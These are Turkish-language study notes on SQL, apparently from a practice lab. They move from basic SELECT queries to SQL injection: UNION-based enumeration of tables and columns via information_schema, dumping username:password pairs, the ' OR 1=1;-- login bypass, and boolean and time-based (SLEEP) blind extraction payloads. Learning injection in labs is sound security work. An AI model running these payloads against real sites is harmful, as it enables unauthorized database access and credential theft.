Yorum satırı fonksiyonları
SQL sorgularında açıklama satırı yazmak için
Bunlar veritabanından tabanına değişkenlik gösterebilir.
, -- , /*
SEÇME

Öğreneceğimiz ilk sorgu türü veritabanından veri almak için kullanılan SELECT sorgusudur.

select * from users;

Bir sonraki sorgumuz yukarıdakine benzer ancak bu sefer veritabanı tablosundaki tüm sütunları döndürmek için * kullanmak yerine sadece kullanıcı adı ve şifre alanını talep ediyoruz.

select username,password from users;

---
select * from users LIMIT 1; : bir sonuç döner

---

select * from users where username='admin';
Bu yalnızca kullanıcı adının admin'e eşit olduğu satırları döndürür.
---

select * from users where username != 'admin';
tam tersi admin kullancısı olmayan üyeleri getirir.
---

select * from users where username='admin' or username='jon';
adı jon ve admin olanı getir

---

select * from users where username='admin' and password='p4ssword';
kullanıcı adı admin şifreside password olanı getir.

Like cümleciğini kullanmak, tam eşleşme olmayan ancak bunun yerine, yüzde işareti % ile temsil edilen joker karakterin nereye yerleştirileceğini seçerek belirli karakterlerle başlayan, içeren veya belirli karakterlerle biten verileri belirtmenize olanak tanır.

select * from users where username like 'a%'; eğer '%a' böyle olursa bu da sonu a ile mi bitiyor sorgusu sorar.

Sızma Girişimleri

UNION SELECT 1,2,3
Kaç tane colum var onu bulmamıza yardım eder.

UNION SELECT 1,2,database()
database adını öğrenmemize yardım eder.

UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

artık tablo isimlerini öğrenmemiz gerekiyor bunu brute force ile yapmamız imkansız bu yüzden hem daha basit yol için group sorgusunu devreye sokuyoruz ver parantez içinde (table_name) diyoruz. ve bu tablo ismini ise from information_schema.tables den çek diyoruz , informatioon schema datasında web dataları hakkında bilgiler saklar buradan bilgi çekebiliriz. ve bunu da from diyerek nerede araycağını belirtiriz.
daha sonra where orada yani şu 'sql_one' dan ara diyoruz.

Ve bizlere tabloyu vermesi gerekiyor artık. Tablolarda ki columları çekmemiz gerekiyor bunun için.

UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

gruop_concat sorgu içeriğini colmn_name olarak değiştiriyoruz , ve bunu da information_schema.columns da aramasını söylüyoruz ve hangi tablo nun sütünü aranacaksa where ile yazılır. Ve columnları çektiğimize göre artık içeriden bilgileri okuyalım :)

0 UNION SELECT 1,2,group_concat(username,':',password) FROM staff_users
artık information dan bilgi almamıza gerek yok tablonun altında ki columnların isimlerini alıyoruz ve
kolum , ':' , password diyerek yazıyoruz ve bunu da from staff_users dan çekmesini istiyoruz.

BU BANT TABANLIYDI

KÖR BLİND KİMLİKDOĞRULAMA SQL

Şimdi login panellerinde çalışan sorgu şudur;

select * from users where username='%username%' and password='%password%' LIMIT 1;

burada users kısmından herşeyi seç ve from (kullanıcı ve şifreyi çek eşleşen olanları ve LİMİT 1 de sadece 1 sonuç dönder demesi.)
biz bunu

username kısmına
' OR 1=1;-- bu payloadı yazarsak şu anlam çıkar username' tırnağı kapanır. ve or'un anlamı veya olduğu için ya kullanıcı adı doğru olucak ya da 1=!'e eşit ise bunu çalıştır diyor ama bununla bitmiyor sona ;-- koyuyoruz -- bundan sonra ki gelecek sorguyu yorum satırına çevirir yani password eşleşme kısmı sorgusu hiç yokmuş gibi çalışır bu tek tırnak kısmına
admin' OR 1=1;-- gibi veya 'admin OR 1=1;-- veya admin OR 1=1;-- şeklinde manuel denemeler yapabiliriz.

olumlu çalışırsa sorgu şu şekilde olucaktır ;
select * from users where username='' and password='' OR 1=1;

BOOLEN TABANLI BLİND SQL

admin' UNION SELECT 1,2,3;--
herzaman ki gibi ilk column sayısını bulalım.

Şimdi url de baya bir deneme yanılma yapacağız hadi başlayalım ve kodu yorumlayalım.

admin123' UNION SELECT 1,2,3 where database() like '%';--

admin123' adında kullanıcı atıyoruz , column sayısını buluyoruz. ancak database() yazdığımızda komut çalışıyor ama front ende yansımıyor. bu yüzden like fonksiyonuzu kullanıyoruz kullanımı basit

kullanımı : like '%' eğer database ismi s ile başlıyorsa 's%' yazarsak bize true değeri döner bunu sq,sql,sql_,sql_database gibi ensona kadar bakıyoruz en son bu isim ile mi var diye bakmak için yüzdelik ifadesini silicez 'database'bu şekilde yazılır.

Database bulam böyleydi şimdi tabloları bulmada ;

mantık aslında aynı

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
kullanıcı adı attık , column sayısını çektik , tablo ismini nereden ariyacağını yazdık , nerede ki database den aramasını söyledik daha sonra and koyarak table_name like '%';-- yazarak bunada deneme yanılma olarak bulacağız.
ŞİmdI users adında bir tablo bulduk bunun başta 3 column olduğunu öğrenmiştik şimdi şunu yapıcaz columnlara tek tek aynı bu işlemi uygulayacaz ama ufak bir değişiklik yapıcaz.

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

table name kısmına direkt bulduğumuz ismi yazıyoruz like sorgusunun artık orda işi yok kolum için 1 and daha koyup aynı işlemi gerçekleşitiericez.

Ve from kısmında informationda kolumn datasından bilgi çekicez. eğer örnek vereyim id adında column bulursak bir daha ona true dönmemesi için şunu yapmalıyız.

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and column_name like '%' COLUMN_NAME !='id';

sonuna bulduğumuz colmn name adını != eşit değil anlaımında yazıyoruz. Ve işleme daha devam etmek için devam edebilriz.
Enson columnları öğrenince bilgileri çekmeye gelelim , şu aşamada database adını tabloyu ve columnları biliyoruz.

şimdi kullanıcı adlarına ve şifreye yöneil bu işlemi gerçekleştiricez.

ilk kullanıcı adını bulmakta

admin123' UNION SELECT 1,2,3 from users where username like 'a%
s
daha sonra şifreyi bulmakta

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

BLİND TİME SQL BOOLEN

Kolumları bulmakla başlayalım , adımlar üsteki ile aynı olucak tek fark sleep fonksiyonumuz.

admin123' UNION SELECT SLEEP(5);--
şimdi ekranda hiçbir şey görmediğimiz için belki çalışıyordun ancak true değeri de dönmüyırdun , o zaman sitenin tejrar yüklemesi için sorgu çalıştırıcaz
sleepin içinde yazdığımız sayının 2 anlamı vardır 1. kolumn sayısı , 2. anlamı ise duraklama zamanı

eğer sitede duraklama olmazsa column yanlış olabilir daha fazla column eklemek için

admin123' UNION SELECT SLEEP(5),2,3;--
diye girliebilir

url alanında
%27 tek tırnak ' boşluk space ise %20 dir